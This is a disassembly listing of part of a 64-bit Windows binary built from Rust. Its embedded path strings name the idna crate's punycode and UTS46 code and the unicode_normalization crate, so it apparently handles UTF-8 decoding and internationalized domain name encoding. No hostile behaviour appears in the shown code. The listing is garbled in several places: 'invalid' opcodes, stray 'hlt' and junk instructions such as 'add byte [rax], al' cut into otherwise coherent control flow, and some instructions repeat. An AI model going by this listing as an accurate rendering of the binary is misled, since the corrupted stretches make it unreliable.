jne case.0x140095a01.3908
mov r12b, 2
mov edi, eax
cmp r14, rbx
jne 0x140095712
jmp 0x140095ca6
lea ecx, [r13 - 0x2329]
cmp ecx, 2
jb case.0x140095a01.3907
cmp r13d, 0x2126
je case.0x140095a01.3907
add eax, dword [rax]
invalid
cmp r13d, 0x2adc
je case.0x140095a01.3907
movd xmm1, r13d
pshufd xmm0, xmm1, 0
movdqa xmm2, xmm0
paddd xmm2, xmmword [0x140168a40]
movdqa xmm3, xmm0
paddd xmm3, xmmword [0x140168a50]
pxor xmm3, xmm12
movdqa xmm4, xmm14
pcmpgtd xmm4, xmm3
pxor xmm2, xmm12
movdqa xmm3, xmm15
pcmpgtd xmm3, xmm2
packssdw xmm3, xmm4
pmovmskb ecx, xmm3
test ecx, ecx
jne case.0x140095a01.3907
pshufd xmm1, xmm1, 0x50
pand xmm1, xmmword [0x140168a30]
pshufd xmm2, xmm1, 4
pcmpeqd xmm2, xmmword [0x140168a60]
movdqa xmm3, xmm0
paddd xmm3, xmm11
pxor xmm3, xmm12
movdqa xmm4, xmm13
pcmpgtd xmm4, xmm3
por xmm4, xmm2
movmskps ecx, xmm4
test cl, cl
jne case.0x140095a01.3907
lea ecx, [r13 - 0x1d1bb]
cmp ecx, 6
jb case.0x140095a01.3907
lea ecx, [r13 - 0x2f800]
cmp ecx, 0x21e
jb case.0x140095a01.3907
movd ecx, xmm1
cmp ecx, 0x2000
add byte [rax], al
je case.0x140095a01.3907
cmp ecx, 0x212a
je case.0x140095a01.3907
cmp ecx, 0xfb40
je case.0x140095a01.3907
test r12b, r12b
je 0x140095ee9
movzx eax, r12b
cmp eax, 1
je case.0x140095a01.3907
lea rax, [rsp + 0x198]
movups xmmword [rax], xmm6
movzx eax, word [rsp + 0x1a6]
lea rcx, [rsp + 0xa6]
mov word [rcx + 0x10], ax
movdqu xmm0, xmmword [rsp + 0x196]
movdqu xmmword [rcx], xmm0
movups xmmword [rcx - 0x1e], xmm6
mov byte [rcx - 0xe], 0
mov qword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x50], 0
mov word [rsp + 0x54], 0
mov byte [rsp + 0x58], 0
mov dword [rsp + 0x5c], 0
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x64], 0
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x6c], 0
mov byte [rsp + 0x70], 0
mov dword [rsp + 0x74], 0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], rbx
mov dword [rsp + 0xa0], 0
mov word [rsp + 0xa4], 0
mov dword [rsp + 0xc0], 0x110000
mov byte [rsp + 0xc4], 0
mov rdi, r15
cmp rdi, rbx
je 0x140095e75
movzx edx, byte [rdi]
movzx r14d, dl
test r14b, r14b
js 0x140095d8e
inc rdi
jmp 0x140095dfc
mov eax, r14d
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp r14b, 0xdf
jbe 0x140095de1
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140095df0
movzx r14d, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r14d, 0x3f
or r14d, ecx
or r14d, eax
cmp r14d, 0x110000
je 0x140095e75
add rdi, 4
jmp 0x140095dfc
add rdi, 2
shl eax, 6
or eax, r8d
mov r14d, eax
jmp 0x140095dfc
add rdi, 3
shl eax, 0xc
or ecx, eax
mov r14d, ecx
lea rcx, [rsp + 0x40]
call fcn.140097b00
mov r13b, 1
cmp eax, 0x110000
je 0x140095e8b
cmp eax, r14d
je 0x140095d74
jmp 0x140095e8b
mov r15, qword [rsp + 0xf8]
mov dil, 1
jmp 0x140095056
mov r15, qword [rsp + 0xf8]
mov dil, 1
jmp 0x140095056
mov r15, qword [rsp + 0xf8]
mov dil, 1
jmp 0x140095056
mov rcx, qword [rsp + 0x2f0]
mov rdx, qword [rsp + 0x28]
call fcn.14015cc80
mov qword [rsp + 0x118], r12
cmp r13, qword [rsp + 0x30]
jb 0x14009535d
jmp 0x1400952bb
lea rcx, [rsp + 0x40]
call fcn.140097b00
cmp eax, 0x110000
setne r13b
neg r13b
cmp dword [rsp + 0x50], 0
je 0x140095eae
cmp qword [rsp + 0x60], 0
je 0x140095eae
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rsp + 0xa0], 0
je 0x140095eda
cmp qword [rsp + 0xb0], 0
je 0x140095eda
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x140215360]
hlt
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0xd214e
test r13b, r13b
je 0x140095ee9
mov byte [rsp + 0xed], 1
jmp 0x140095f04
mov rcx, r15
mov rdx, rsi
mov r8, qword [rsp + 0x110]
lea r9, [rsp + 0xe8]
call fcn.1400983f0
mov r15, qword [rsp + 0xf8]
xor r12d, r12d
mov ebx, dword [rsp + 0x38]
mov dil, 1
jmp 0x140095056
mov rax, qword [rsp + 0x2f0]
mov rcx, qword [rax]
mov r14, qword [rax + 0x10]
mov rax, r14
mov r8, qword [rsp + 0x120]
test r8, r8
je 0x140095f64
mov rax, r14
sub rax, r8
jbe 0x140095f62
cmp byte [rcx + r8], 0xbf
jg 0x140095f64
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcuts46.rs
mov qword [rsp + 0x20], rax
mov rdx, r14
mov r9, r14
call fcn.140161400
ud2
jne 0x140095f49
add rcx, r8
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
movabs rax, 0x2e0000002e
mov qword [rsp + 0x78], rax
mov word [rsp + 0x80], 1
test bl, 1
jne 0x140095fcb
lea rsi, [rsp + 0x40]
mov rcx, rsi
call fcn.140087900
test rax, rax
jne 0x140095fb9
jmp 0x140096401
xor ebx, ebx
mov edi, 0x62f8
lea rcx, [rsp + 0x40]
call fcn.140087900
test rax, rax
je 0x140096401
mov r13, rdx
test rdx, rdx
je 0x140095fd2
mov r12, rax
movzx r8d, byte [rax]
movzx ecx, r8b
test cl, cl
js 0x140096003
lea rsi, [r12 + 1]
jmp 0x14009606d
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [r12 + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140096052
movzx edx, byte [r12 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140096061
movzx ecx, byte [r12 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140095fd2
lea rsi, [r12 + 4]
jmp 0x14009606d
lea rsi, [r12 + 2]
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x14009606d
lea rsi, [r12 + 3]
shl eax, 0xc
or edx, eax
mov ecx, edx
add r13, r12
call fcn.140150360
test al, al
je 0x1400961b2
movzx eax, al
cmp eax, 0x11
je 0x1400961b2
cmp eax, 9
jne 0x1400963f9
cmp rsi, r13
je 0x14009612d
movzx r8d, byte [rsi]
movzx ecx, r8b
test cl, cl
js 0x1400960ac
inc rsi
jmp 0x14009610e
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rsi + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x1400960f5
movzx edx, byte [rsi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140096103
movzx ecx, byte [rsi + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x14009612d
add rsi, 4
jmp 0x14009610e
add rsi, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x14009610e
add rsi, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
call fcn.140150360
cmp al, 0xe
ja 0x1400963f9
movzx eax, al
bt rdi, rax
jb 0x140096092
jmp 0x1400963f9
movzx eax, byte [r13 - 1]
test al, al
js 0x14009613e
dec r13
movzx esi, al
jmp 0x14009618d
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x14009616b
movzx edx, byte [r13 - 3]
cmp dl, 0xc0
jge 0x140096174
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x14009617b
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x140096183
add r13, 0xfffffffffffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx esi, al
or esi, ecx
cmp r13, r12
je 0x14009637c
cmp esi, 0x110000
je 0x140095fd2
mov ecx, esi
call fcn.140150360
cmp al, 0xd
je 0x14009612d
jmp 0x140096397
cmp rsi, r13
je 0x1400962f3
xor r15d, r15d
mov dword [rsp + 0x30], 0
movzx r8d, byte [rsi]
movzx eax, r8b
test al, al
js 0x1400961d7
inc rsi
jmp 0x14009623b
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rsi + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x140096222
movzx edx, byte [rsi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140096230
movzx eax, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400962fe
add rsi, 4
jmp 0x14009623b
add rsi, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
jmp 0x14009623b
add rsi, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
mov ecx, 0x5a6
xor r8d, r8d
mov edx, 0x5a6
jmp 0x140096256
mov rdx, rcx
sub rcx, r8
jbe 0x1400963f9
shr rcx, 1
add rcx, r8
lea r9, [rcx + rcx*2]
mov r10d, dword [rbp + r9*4 + 4]
cmp r10d, eax
mov r11d, 0
sbb r11d, r11d
or r11b, 1
cmp r10d, eax
movzx r11d, r11b
mov r10d, r11d
cmovae r10d, ebx
cmp dword [rbp + r9*4], eax
cmova r10d, r11d
cmp r10b, 1
je 0x14009624a
movzx r8d, r10b
cmp r8d, 0xff
jne 0x1400962b2
inc rcx
mov r8, rcx
mov rcx, rdx
sub rcx, r8
ja 0x140096256
jmp 0x1400963f9
movzx eax, byte [rbp + r9*4 + 8]
cmp eax, 1
je 0x1400962ca
cmp eax, 5
jne 0x1400962cf
mov al, 1
mov dword [rsp + 0x30], eax
jmp 0x1400962e8
mov r15b, 1
jmp 0x1400962e8
cmp rax, 0x11
ja 0x1400963f9
mov ecx, 0x260fb
bt rcx, rax
jae 0x1400963f9
cmp rsi, r13
jne 0x1400961c6
jmp 0x1400962fe
mov dword [rsp + 0x30], 0
xor r15d, r15d
movzx eax, byte [r13 - 1]
test al, al
js 0x14009630f
dec r13
movzx esi, al
jmp 0x14009635e
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x14009633c
movzx edx, byte [r13 - 3]
cmp dl, 0xc0
jge 0x140096345
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x14009634c
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x140096354
add r13, 0xfffffffffffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx esi, al
or esi, ecx
cmp r13, r12
je 0x1400963b7
cmp esi, 0x110000
je 0x1400963f9
mov ecx, esi
call fcn.140150360
cmp al, 0xd
je 0x1400962fe
jmp 0x1400963ca
cmp esi, 0x110000
je 0x140095fd2
mov ecx, esi
call fcn.140150360
cmp al, 0xd
je 0x140095fd2
mov ecx, esi
call fcn.140150360
cmp al, 9
je 0x140095fd2
mov ecx, esi
call fcn.140150360
cmp al, 5
je 0x140095fd2
jmp 0x1400963f9
cmp esi, 0x110000
je 0x1400963f9
mov ecx, esi
call fcn.140150360
cmp al, 0xd
je 0x1400963f9
mov ecx, esi
call fcn.140150360
cmp al, 0x11
ja 0x1400963f9
movzx eax, al
mov ecx, 0x20023
bt rcx, rax
jae 0x1400963f9
test r15b, 1
je 0x140095fd2
mov eax, dword [rsp + 0x30]
and al, 1
je 0x140095fd2
mov byte [rsp + 0xea], 1
movzx ebp, byte [rsp + 0xe8]
lea rcx, [rsp + 0xe9]
mov rax, qword [rcx]
mov qword [rsp + 0x128], rax
mov eax, dword [rcx + 7]
mov dword [rsp + 0x12f], eax
cmp qword [rsp + 0x180], 0
mov r12, qword [rsp + 0x2f0]
je 0x140096455
mov r8, qword [rsp + 0x178]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [r12 + 0x10]
test r14, r14
je 0x1400964a7
js 0x140096f4b
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140096488
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140096498
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x1400964ac
mov ecx, 1
mov rdx, r14
call fcn.14015d7f0
ud2
mov eax, 1
mov rcx, qword [r12 + 0x10]
mov qword [rsp + 0x50], rcx
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0x40], xmm0
mov qword [r12], rax
mov qword [r12 + 8], r14
mov qword [r12 + 0x10], 0
mov rax, qword [rsp + 0x100]
lea rsi, [rax + 0x18]
cmp qword [rax + 0x20], 0
je 0x1400964f7
mov r8, qword [rsi]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x50]
mov qword [rsi + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x40]
movdqu xmmword [rsi], xmm0
mov rcx, qword [rsp + 0x100]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], 1
movabs rax, 0x2e0000002e
mov qword [rsp + 0x78], rax
mov word [rsp + 0x80], 1
xor ecx, ecx
mov r15d, 0x1a
movabs rdi, 0x8080808080808080
mov dword [rsp + 0x110], ecx
jmp 0x140096584
mov dword [rsp + 0x110], ecx
lea rcx, [rsp + 0x40]
call fcn.140087900
mov qword [rsp + 0x28], rax
test rax, rax
je 0x140096de4
mov rsi, rdx
test byte [rsp + 0x110], 1
je 0x1400965d2
mov rdx, qword [r12 + 0x10]
cmp rdx, qword [r12 + 8]
jne 0x1400965c2
mov rcx, r12
call fcn.140093b10
mov rdx, qword [r12 + 0x10]
mov rax, qword [r12]
mov byte [rax + rdx], 0x2e
inc rdx
mov qword [r12 + 0x10], rdx
cmp rsi, 8
jae 0x1400966a8
test rsi, rsi
je 0x140096d5f
mov rax, qword [rsp + 0x28]
cmp byte [rax + rsi - 1], 0
js 0x1400966f7
mov rax, rsi
dec rax
je 0x140096d5f
mov rax, qword [rsp + 0x28]
cmp byte [rax + rsi - 2], 0
js 0x1400966f7
mov rax, rsi
add rax, 0xfffffffffffffffe
je 0x140096d5f
mov rax, qword [rsp + 0x28]
cmp byte [rax + rsi - 3], 0
js 0x1400966f7
mov rax, rsi
add rax, 0xfffffffffffffffd
je 0x140096d5f
mov rax, qword [rsp + 0x28]
cmp byte [rax + rsi - 4], 0
js 0x1400966f7
mov rax, rsi
add rax, 0xfffffffffffffffc
je 0x140096d5f
mov rax, qword [rsp + 0x28]
cmp byte [rax + rsi - 5], 0
js 0x1400966f7
mov rax, rsi
add rax, 0xfffffffffffffffb
je 0x140096d5f
mov rax, qword [rsp + 0x28]
cmp byte [rax + rsi - 6], 0
js 0x1400966f7
mov rax, rsi
add rax, 0xfffffffffffffffa
je 0x140096d5f
mov rax, qword [rsp + 0x28]
cmp byte [rax + rsi - 7], 0
js 0x1400966f7
mov rax, rsi
add rax, 0xfffffffffffffff9
jne 0x1400966f7
jmp 0x140096d5f
mov rax, qword [rsp + 0x28]
test qword [rax], rdi
jne 0x1400966f7
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + 7]
and rax, 0xfffffffffffffff8
sub rax, rcx
mov ecx, 8
cmove rax, rcx
lea rcx, [rsi - 8]
cmp rax, rcx
jae 0x1400966e8
mov rdx, qword [rsp + 0x28]
test qword [rdx + rax], rdi
jne 0x1400966f7
add rax, 8
cmp rax, rcx
jb 0x1400966d4
mov rax, qword [rsp + 0x28]
test qword [rax + rcx], rdi
je 0x140096d5f
mov rax, qword [r12 + 8]
mov rdx, qword [r12 + 0x10]
sub rax, rdx
mov rcx, rdx
mov qword [rsp + 0x108], rdx
cmp rax, 3
jbe 0x140096d3f
mov rax, qword [r12]
mov dword [rax + rdx], 0x2d2d6e78
add rdx, 4
mov qword [r12 + 0x10], rdx
mov cl, 1
mov dword [rsp + 0x110], ecx
test rsi, rsi
je 0x140096584
mov rcx, qword [rsp + 0x28]
mov r14, rcx
add r14, rsi
xor r13d, r13d
xor ebx, ebx
mov rsi, rcx
jmp 0x14009676b
mov byte [rax + rdx], dil
inc rdx
mov qword [r12 + 0x10], rdx
inc ebx
cmp rsi, r14
je 0x140096819
movzx r9d, byte [rsi]
movzx edi, r9b
test dil, dil
js 0x140096780
inc rsi
inc r13d
jmp 0x1400967f8
mov ecx, edi
and ecx, 0x1f
movzx r10d, byte [rsi + 1]
and r10d, 0x3f
cmp dil, 0xdf
jbe 0x1400967ce
movzx r8d, byte [rsi + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400967dc
movzx edi, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and edi, 0x3f
or edi, r8d
or edi, ecx
cmp edi, 0x110000
je 0x140096819
add rsi, 4
jmp 0x1400967e9
add rsi, 2
shl ecx, 6
or ecx, r10d
mov edi, ecx
jmp 0x1400967e9
add rsi, 3
shl ecx, 0xc
or r8d, ecx
mov edi, r8d
inc r13d
cmp edi, 0x80
jae 0x140096762
cmp rdx, qword [r12 + 8]
jne 0x140096754
mov rcx, r12
call fcn.140093b10
mov rax, qword [r12]
mov rdx, qword [r12 + 0x10]
jmp 0x140096754
test ebx, ebx
movabs rdi, 0x8080808080808080
je 0x14009684b
cmp rdx, qword [r12 + 8]
jne 0x14009683b
mov rcx, r12
call fcn.140093b10
mov rdx, qword [r12 + 0x10]
mov rax, qword [r12]
mov byte [rax + rdx], 0x2d
inc rdx
mov qword [r12 + 0x10], rdx
cmp ebx, r13d
jae 0x140096584
mov byte [rsp + 0x3f], bpl
mov eax, 0x80
mov edi, 0x48
xor r8d, r8d
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x118], r14
mov dword [rsp + 0x120], r13d
mov rcx, qword [rsp + 0x28]
jmp 0x14009688c
inc rcx
cmp eax, ebp
jbe 0x140096926
cmp rcx, r14
je 0x140096efe
movzx r10d, byte [rcx]
movzx ebp, r10b
test bpl, bpl
jns 0x140096881
mov edx, ebp
and edx, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp bpl, 0xdf
jbe 0x1400968f4
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x140096902
movzx ebp, byte [rcx + 3]
and edx, 7
shl edx, 0x12
shl r9d, 6
and ebp, 0x3f
or ebp, r9d
or ebp, edx
cmp ebp, 0x110000
je 0x140096efe
add rcx, 4
jmp 0x140096884
add rcx, 2
shl edx, 6
or edx, r11d
mov ebp, edx
jmp 0x140096884
add rcx, 3
shl edx, 0xc
or r9d, edx
mov ebp, r9d
jmp 0x140096884
inc rcx
cmp ebp, edx
mov r9d, edx
cmovb r9d, ebp
cmp edx, eax
cmovae ebp, r9d
cmp rcx, r14
je 0x1400969a9
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
jns 0x140096914
mov r9d, edx
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x140096986
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x140096996
movzx edx, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
je 0x1400969a9
add rcx, 4
jmp 0x140096917
add rcx, 2
shl r9d, 6
or r9d, esi
mov edx, r9d
jmp 0x140096917
add rcx, 3
shl r9d, 0xc
or r10d, r9d
mov edx, r10d
jmp 0x140096917
mov ecx, ebx
inc ecx
je 0x140096eb7
mov r9d, ebp
sub r9d, eax
mov eax, r8d
not eax
xor edx, edx
div ecx
cmp r9d, eax
ja 0x140096cf1
mov edx, r9d
imul edx, ecx
add edx, r8d
mov dword [rsp + 0x30], edx
mov rsi, qword [rsp + 0x28]
jmp 0x1400969f0
mov r9d, ebx
mov r8d, dword [rsp + 0x30]
cmp rsi, r14
je 0x140096ccf
movzx r8d, byte [rsi]
movzx eax, r8b
test al, al
js 0x140096a01
inc rsi
jmp 0x140096a65
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rsi + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x140096a4c
movzx edx, byte [rsi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140096a5a
movzx eax, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x140096ce7
add rsi, 4
jmp 0x140096a65
add rsi, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
jmp 0x140096a65
add rsi, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, ebp
jae 0x140096a73
inc dword [rsp + 0x30]
je 0x140096cf1
cmp eax, ebp
jne 0x1400969df
mov qword [rsp + 0xf8], rsi
mov dword [rsp + 0x100], ebx
lea r13d, [rdi + 0x1a]
lea ecx, [rdi - 0x24]
neg ecx
cmp r13d, 0x25
cmovb ecx, r15d
cmp edi, 0x24
mov eax, 1
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
mov esi, eax
cmp eax, ecx
jae 0x140096b6c
mov edx, 0x61
cmp esi, 0x1a
jb 0x140096acc
mov edx, reloc.WS2_32.dll_shutdown
cmp esi, 0x24
jae 0x140096ee4
add edx, esi
mov rcx, r12
call fcn.140093bd0
mov eax, dword [rsp + 0x100]
mov r9d, eax
inc r9d
mov r11d, 0xd41d41d5
mov r13d, dword [rsp + 0x120]
je 0x140096e20
invalid
mov ebx, edi
neg ebx
mov r14d, 0x48
mov esi, dword [rsp + 0x30]
jmp 0x140096bba
mov rax, qword [r15]
mov byte [rax + rdx], r12b
inc rdx
mov r12, r15
mov r15d, 0x1a
lea ecx, [rbx + r14]
cmp r14d, r13d
cmovae ecx, r15d
cmp r14d, edi
mov eax, 1
cmovbe ecx, eax
mov qword [r12 + 0x10], rdx
add r14d, 0x24
cmp esi, ecx
jb 0x140096ab4
mov r8d, ecx
sub r8d, 0x24
je 0x140096dca
sub esi, ecx
neg r8d
mov eax, esi
xor edx, edx
div r8d
add edx, ecx
mov r12d, 0x61
mov esi, eax
cmp edx, 0x1a
jb 0x140096bf1
mov r12d, reloc.WS2_32.dll_shutdown
cmp edx, 0x24
jae 0x140096ee4
add r12d, edx
cmp r12d, 0x80
jae 0x140096c30
mov r15, qword [rsp + 0x2f0]
mov rdx, qword [r15 + 0x10]
cmp rdx, qword [r15 + 8]
jne 0x140096b80
invalid
invalid
invalid
mov rcx, r15
call fcn.140093b10
mov rdx, qword [r15 + 0x10]
jmp 0x140096b80
dec dword [rcx - 0x75]
push rdi
adc cl, ch
pop rsp
invalid
mov rcx, qword [rsp + 0x2f0]
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
sub rax, rdx
cmp rax, 1
jbe 0x140096c7d
movzx eax, r12w
mov ecx, eax
shr ecx, 6
mov r12, qword [rsp + 0x2f0]
mov r8, qword [r12]
and eax, 0x3f
shl eax, 8
movzx ecx, cx
or ecx, eax
or ecx, 0x80c0
mov word [r8 + rdx], cx
add rdx, 2
jmp 0x140096b93
mov r8d, 2
mov r15, qword [rsp + 0x2f0]
mov rcx, r15
call fcn.14015cc80
mov rdx, qword [r15 + 0x10]
mov r15d, 0x1a
jmp 0x140096c49
inc r8d
inc ebp
mov ebx, r9d
mov eax, ebp
cmp r9d, r13d
jb 0x14009687a
jmp 0x140096da1
mov r9d, ebx
mov r8d, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
jmp 0x140096ccf
mov rax, qword [r12 + 0x10]
mov bpl, 1
mov cl, 1
mov rsi, qword [rsp + 0x108]
mov esi, dword [rsp + 0x108]
mov esi, dword [rsp + 0x108]
and al, 8
add dword [rax], eax
add byte [rax + 0x39], cl
invalid
cmp rax, rsi
movabs rdi, 0x8080808080808080
jb 0x14009657d
test rsi, rsi
je 0x140096d8e
cmp rax, rsi
jbe 0x140096d8e
mov rax, qword [r12]
mov rcx, qword [rsp + 0x108]
cmp byte [rax + rcx], 0xbf
mov rsi, qword [rsp + 0x108]
jg 0x140096d8e
jmp 0x140096f31
mov r8d, 4
mov rcx, r12
mov rdx, qword [rsp + 0x108]
call fcn.14015cc80
mov rdx, qword [r12 + 0x10]
jmp 0x140096719
mov rax, qword [r12 + 8]
mov r15, qword [r12 + 0x10]
sub rax, r15
cmp rax, rsi
jb 0x140096db5
mov rcx, qword [r12]
add rcx, r15
mov rdx, qword [rsp + 0x28]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, r15
mov r15d, 0x1a
mov qword [r12 + 0x10], rsi
mov cl, 1
mov dword [rsp + 0x110], ecx
jmp 0x140096584
movzx ebp, byte [rsp + 0x3f]
movabs rdi, 0x8080808080808080
jmp 0x140096584
mov rcx, r12
mov rdx, r15
mov r8, rsi
call fcn.14015cc80
mov r15, qword [r12 + 0x10]
jmp 0x140096d71
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zero
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcpunycode.rs
add byte [rdx + 0x39], bh
add byte [rdx + 0x39], bh
call fcn.140160fb0
ud2
mov rcx, qword [rsp + 0x170]
mov byte [rcx], bpl
mov rax, qword [rsp + 0x128]
mov qword [rcx + 1], rax
mov eax, dword [rsp + 0x12f]
mov dword [rcx + 8], eax
jmp 0x140094da8
lea r8, [0x1401ac010]
mov edx, 4
mov rcx, r9
call fcn.140160f40
ud2
lea r8, [0x1401ac010]
mov edx, 4
mov rcx, rax
call fcn.140160f40
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.22_srclookups.rs
mov edx, 0xd4e
call fcn.140160e60
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.22_srclookups.rs
mov rcx, rsi
call fcn.140160f40
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.22_srclookups.rs
mov edx, 0x1667
call fcn.140160e60
or al, 0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.22_srclookups.rs
mov rcx, rsi
call fcn.140160f40
ud2
lea rcx, str.attempt_to_divide_by_zeroC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcpunycode.rs
mov edx, 0x19
call fcn.140160fb0
ud2
lea r8, [0x1401ac010]
mov edx, 4
call fcn.140160f40
ud2
lea rcx, [0x1401dfa0b]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcpunycode.rs
mov edx, recv
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcpunycode.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcuts46.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov r9, rdx
call fcn.140161400
ud2
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140204970]
mov edx, 0x30
call fcn.140160fb0
ud2
call fcn.1400138d0
ud2
mov r12d, 1
mov rbp, qword [rsp + 0x40]
cmp rbp, r14
jae 0x140098cf4
mov r8, r14
sub r8, rbp
invalid
add al, 0x24
mov qword [rsp + 0x58], rax
mov r8, r12
shl r8, 4
mov rcx, rdi
mov rdx, r15
mov edx, edi
mov edx, edi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
